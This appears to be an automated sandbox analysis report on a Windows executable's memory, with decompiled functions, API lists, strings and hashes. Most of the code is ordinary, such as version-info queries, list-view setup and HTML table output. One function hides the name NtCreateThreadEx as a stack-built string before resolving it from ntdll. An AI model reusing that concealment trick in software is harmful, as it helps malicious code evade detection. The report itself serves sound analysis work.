0x0040b0cd
0x0040b0cd
0x0040b0e5
0x0040b11f
0x0040b128
0x0040b0e7
0x0040b0e7
0x0040b0f1
0x0040b0f2
0x0040b0f3
0x0040b0fb
0x0040b0fd
0x0040b0fe
0x0040b11d
0x00000000
0x00000000
0x0040b11d
0x0040b13c
0x0040b151
0x0040b166
0x0040b17b
0x0040b190
0x0040b1a5
0x0040b1ba
0x0040b1cf
0x0040b1d6
0x0040b1d7
0x0040b1d8
0x0040b1de
0x0040b1e3

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

FileVersion, xrefs: 0040B156
InternalName, xrefs: 0040B195
ProductName, xrefs: 0040B12F
FileDescription, xrefs: 0040B141
LegalCopyright, xrefs: 0040B1AA
040904E4, xrefs: 0040B122
OriginalFileName, xrefs: 0040B1BF
%4.4X%4.4X, xrefs: 0040B0F3
ProductVersion, xrefs: 0040B16B
CompanyName, xrefs: 0040B180
\VarFileInfo\Translation, xrefs: 0040B0D8

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1EF, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A1EF(struct HINSTANCE__** __esi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				struct HINSTANCE__* _t27;

				if( *__esi != 0) {
					L3:
					return 1;
				}
				_t27 = LoadLibraryW(L"ntdll.dll");
				 *__esi = _t27;
				if(_t27 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_v24 = 0x4e;
					_v23 = 0x74;
					_v13 = 0x65;
					_v12 = 0x61;
					_v18 = 0x74;
					_v17 = 0x65;
					_v22 = 0x43;
					_v14 = 0x72;
					_v11 = 0x64;
					_v21 = 0x72;
					_v10 = 0x45;
					_v9 = 0x78;
					_v20 = 0x65;
					_v19 = 0x61;
					_v16 = 0x54;
					_v15 = 0x68;
					_v8 = 0;
					__esi[1] = GetProcAddress(_t27,  &_v24);
					goto L3;
				}
				return 0;
			}

0x0040a1f8
0x0040a26d
0x00000000
0x0040a26f
0x0040a205
0x0040a20b
0x0040a20d
0x0040a213
0x0040a214
0x0040a215
0x0040a216
0x0040a217
0x0040a219
0x0040a21f
0x0040a223
0x0040a227
0x0040a22b
0x0040a22f
0x0040a233
0x0040a237
0x0040a23b
0x0040a23f
0x0040a243
0x0040a247
0x0040a24b
0x0040a24f
0x0040a253
0x0040a257
0x0040a25b
0x0040a25f
0x0040a269
0x00000000
0x0040a26c
0x0040a271

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

r, xrefs: 0040A23B
t, xrefs: 0040A22F
a, xrefs: 0040A22B
e, xrefs: 0040A24F
T, xrefs: 0040A257
ntdll.dll, xrefs: 0040A1FA
E, xrefs: 0040A247
h, xrefs: 0040A25B
a, xrefs: 0040A253
e, xrefs: 0040A227
N, xrefs: 0040A21F
t, xrefs: 0040A223
e, xrefs: 0040A233
d, xrefs: 0040A23F
x, xrefs: 0040A24B
C, xrefs: 0040A237
r, xrefs: 0040A243

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: C$E$N$T$a$a$d$e$e$e$h$ntdll.dll$r$r$t$t$x
API String ID: 2574300362-1257427173
Opcode ID: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction ID: 28a3addb3bc40b583479f690f9d6e65064931713b616a12c977b5f47a4008353
Opcode Fuzzy Hash: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction Fuzzy Hash: 08110A2090C6C9EDEB12C7FCC40879EBEF15B26709F0881ECC585B6292C6BA5758C776

Uniqueness

Uniqueness Score: -1.00%

Function 00407F8D, Relevance: 33.1, APIs: 22, Instructions: 137
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00407F8D(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				void* _v1252;
				void* _v1256;
				void* _v1268;
				void* _t37;
				long _t38;
				long _t46;
				long _t48;
				long _t58;
				void* _t62;
				intOrPtr* _t64;

				_t64 = ImageList_Create;
				_t62 = __eax;
				if( *((intOrPtr*)(__eax + 0x2b4)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2bc)) == 0) {
						_t48 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
						 *(_t62 + 0x2a8) = _t48;
						__imp__ImageList_SetImageCount(_t48, 0);
						_push( *(_t62 + 0x2a8));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t58 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t62 + 0x2a8) = _t58;
						_push(_t58);
					}
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 1, ??);
				}
				if( *((intOrPtr*)(_t62 + 0x2b8)) != 0) {
					_t46 =  *_t64(0x20, 0x20, 0x19, 1, 1);
					 *(_t62 + 0x2ac) = _t46;
					__imp__ImageList_SetImageCount(_t46, 0);
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 0,  *(_t62 + 0x2ac));
				}
				 *(_t62 + 0x2a4) =  *_t64(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				__imp__ImageList_SetImageCount( *(_t62 + 0x2a4), 0);
				_t38 = GetSysColor(0xf);
				_v1248 = _t38;
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1256, _t38);
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1252, _v1248);
				DeleteObject(_v1268);
				DeleteObject(_v1268);
				return SendMessageW(E0040331D( *(_t62 + 0x2a0)), 0x1208, 0,  *(_t62 + 0x2a4));
			}

0x00407f9b
0x00407fa3
0x00407fad
0x00407fb9
0x0040802e
0x00408032
0x00408038
0x0040803e
0x00407fbb
0x00407fc9
0x00407fd0
0x00407fe0
0x00407fe5
0x00407ff7
0x00408015
0x0040801b
0x00408021
0x00408021
0x00408051
0x00408051
0x00408059
0x00408065
0x00408069
0x0040806f
0x00408087
0x00408087
0x0040809c
0x004080bb
0x004080d1
0x004080de
0x004080e2
0x004080ea
0x004080fb
0x00408105
0x00408115
0x00408121
0x00408127
0x00408150

APIs

memset.MSVCRT ref: 00407FD0
memset.MSVCRT ref: 00407FE5
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FF7
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00408015
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040802E
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 00408038
SendMessageW.USER32(?,00001003,00000001,?), ref: 00408051
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00408065
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 0040806F
SendMessageW.USER32(?,00001003,00000000,?), ref: 00408087
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00408093
GetModuleHandleW.KERNEL32(00000000), ref: 004080A2
LoadImageW.USER32 ref: 004080B4
GetModuleHandleW.KERNEL32(00000000), ref: 004080BF
LoadImageW.USER32 ref: 004080D1
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 004080E2
GetSysColor.USER32(0000000F), ref: 004080EA
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 00408105
ImageList_AddMasked.COMCTL32(?,?,?), ref: 00408115
DeleteObject.GDI32(?), ref: 00408121
DeleteObject.GDI32(?), ref: 00408127
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00408144

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction ID: fc02d650de5297a4f4a3b2912da131a5170d4a501b91b7a2a94f7b4638737e48
Opcode Fuzzy Hash: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction Fuzzy Hash: 8F418971640304FFE6306B61DD8AF977BACFF89B00F00092DB795A51D1DAB55450DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0040AE90(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, L"<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						_push(_t32);
						_push(L" size=\"%d\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						_push(E0040ADC0(_t33,  &_v1032));
						_push(L" color=\"#%s\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, L"</font>");
				}
				return _t57;
			}

0x0040ae90
0x0040aeab
0x0040aeb2
0x0040aec0
0x0040aec7
0x0040aecc
0x0040aed3
0x0040aeda
0x0040aee1
0x0040aee1
0x0040aee7
0x0040aeea
0x0040aeed
0x0040aef9
0x0040aefe
0x0040af05
0x0040af07
0x0040af08
0x0040af13
0x0040af18
0x0040af19
0x0040af26
0x0040af2b
0x0040af2b
0x0040af2e
0x0040af34
0x0040af43
0x0040af44
0x0040af4f
0x0040af54
0x0040af55
0x0040af62
0x0040af67
0x0040af70
0x0040af76
0x0040af7a
0x0040af82
0x0040af88
0x0040af8d
0x0040af97
0x0040af9f
0x0040afa5
0x0040afa9
0x0040afb1
0x0040afb7
0x0040afbd

APIs

memset.MSVCRT ref: 0040AEB2
memset.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AEF9
_snwprintf.MSVCRT ref: 0040AF19
wcscat.MSVCRT ref: 0040AF26
_snwprintf.MSVCRT ref: 0040AF55
wcscat.MSVCRT ref: 0040AF62
wcscat.MSVCRT ref: 0040AF70
wcscat.MSVCRT ref: 0040AF82
wcscat.MSVCRT ref: 0040AF8D
wcscat.MSVCRT ref: 0040AF9F
wcscat.MSVCRT ref: 0040AFB1

Strings

<b>, xrefs: 0040AF7C
<font, xrefs: 0040AEF3
size="%d", xrefs: 0040AF08
</font>, xrefs: 0040AFAB
</b>, xrefs: 0040AF99
color="#%s", xrefs: 0040AF44

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction ID: 2e7f7f44a8c08f278b605cd2082ab28bfbf3198b566a778c3f72e8233e5ba29a
Opcode Fuzzy Hash: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction Fuzzy Hash: 2531C6B2904306A9D720EAA59D86E7E73BCDF40714F10807FF214B61C2DB7C9944D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

0x00403c09
0x00403c0c
0x00403c11
0x00403c1b
0x00403c3f
0x00403c4a
0x00403c6e
0x00403c96
0x00403c9a
0x00403ca6
0x00403cb3
0x00403cb8
0x00403cc5
0x00403cca
0x00403cdd
0x00403ce6
0x00403cf8
0x00403d11
0x00403d26
0x00403d3f
0x00403d54
0x00403d6d
0x00403d76
0x00403d88
0x00403d9e
0x00403db0
0x00403db5
0x00403dc4
0x00403dc8
0x00403dc9
0x00403dca
0x00403dda
0x00403ddf
0x00403de2
0x00403de3
0x00403df4
0x00403df8
0x00403df9
0x00403dfa
0x00403e0a
0x00403e0f
0x00403e12
0x00403e13
0x00403e22
0x00403e26
0x00403e28
0x00403e29
0x00403e39
0x00403e3e
0x00403e41
0x00403e42
0x00403e51
0x00403e55
0x00403e57
0x00403e58
0x00403e68
0x00403e6d
0x00403e70
0x00403e71
0x00403e71
0x00403e87
0x00403e8d
0x00403e9e
0x00403ea6
0x00403eaf
0x00403ebc

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00407763, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00407763(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, L"<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x2d4));
				if(_t87 != 0xffffffff) {
					_push(E0040ADC0(_t87,  &_v964));
					_push(L" bgcolor=\"%s\"");
					_push(0x32);
					_push( &_v244);
					L0040B1EC();
					_t161 = _t161 + 0x18;
				}
				E00407343(_t124, _a4, L"<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x2c)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x30)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x40)) + 8)) != _t153) {
							wcscpy( &_v140, L" nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E0040ADC0(_v32,  &_v348);
						E0040ADF1( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x60))),  *(_t124 + 0x64));
						 *((intOrPtr*)( *_t124 + 0x50))( *(_t124 + 0x64), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x68),  *(_t157 + _v16 + 0x10));
						} else {
							_push( *(_t157 + _v16 + 0x10));
							_push(E0040ADC0(_t106,  &_v964));
							_push(L"<font color=\"%s\">%s</font>");
							_push(0x2000);
							_push( *(_t124 + 0x68));
							L0040B1EC();
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x64);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, L"&nbsp;");
						}
						E0040AE90( &_v32,  *((intOrPtr*)(_t124 + 0x6c)),  *(_t124 + 0x64));
						_push( *((intOrPtr*)(_t124 + 0x6c)));
						_push( &_v140);
						_push( &_v348);
						_push( *(_t124 + 0x68));
						_push( &_v244);
						_push( &_v452);
						_push(0x2000);
						_push( *((intOrPtr*)(_t124 + 0x60)));
						L0040B1EC();
						_t161 = _t161 + 0x28;
						E00407343(_t124, _a4,  *((intOrPtr*)(_t124 + 0x60)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x2c))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E00407343(_t124, _a4, L"</table><p>");
				return E00407343(_t124, _a4, L"\r\n");
			}

0x00407763
0x0040776c
0x00407784
0x0040778b
0x00407797
0x00407799
0x0040779b
0x004077a7
0x004077ae
0x004077bd
0x004077c4
0x004077d3
0x004077da
0x004077e1
0x004077e6
0x004077f2
0x004077f5
0x00407804
0x00407805
0x00407810
0x00407812
0x00407813
0x00407818
0x00407818
0x00407825
0x0040782d
0x00407830
0x0040783a
0x00407840
0x00407846
0x00407849
0x00407850
0x0040785e
0x00407864
0x00407867
0x0040786b
0x0040786f
0x00407877
0x0040787a
0x00407885
0x00407892
0x004078a8
0x004078b8
0x004078c5
0x004078ff
0x004078c7
0x004078ca
0x004078dd
0x004078de
0x004078e3
0x004078e8
0x004078eb
0x004078f0
0x004078f0
0x00407906
0x00407909
0x0040790f
0x0040791d
0x00407923
0x0040792d
0x00407932
0x0040793b
0x00407942
0x00407943
0x0040794c
0x00407953
0x00407954
0x00407959
0x0040795c
0x00407961
0x0040796c
0x00407971
0x0040797a
0x00000000
0x00000000
0x00407838
0x00407838
0x0040783a
0x00407980
0x0040798a
0x004079a1

APIs

memset.MSVCRT ref: 00407784
memset.MSVCRT ref: 004077AE
memset.MSVCRT ref: 004077C4
memset.MSVCRT ref: 004077DA
_snwprintf.MSVCRT ref: 00407813
wcscpy.MSVCRT ref: 0040785E
_snwprintf.MSVCRT ref: 004078EB
wcscat.MSVCRT ref: 0040791D

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

wcscpy.MSVCRT ref: 004078FF
_snwprintf.MSVCRT ref: 0040795C

Strings

nowrap, xrefs: 00407858
<font color="%s">%s</font>, xrefs: 004078DE
 , xrefs: 00407917
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040778C
bgcolor="%s", xrefs: 00407805
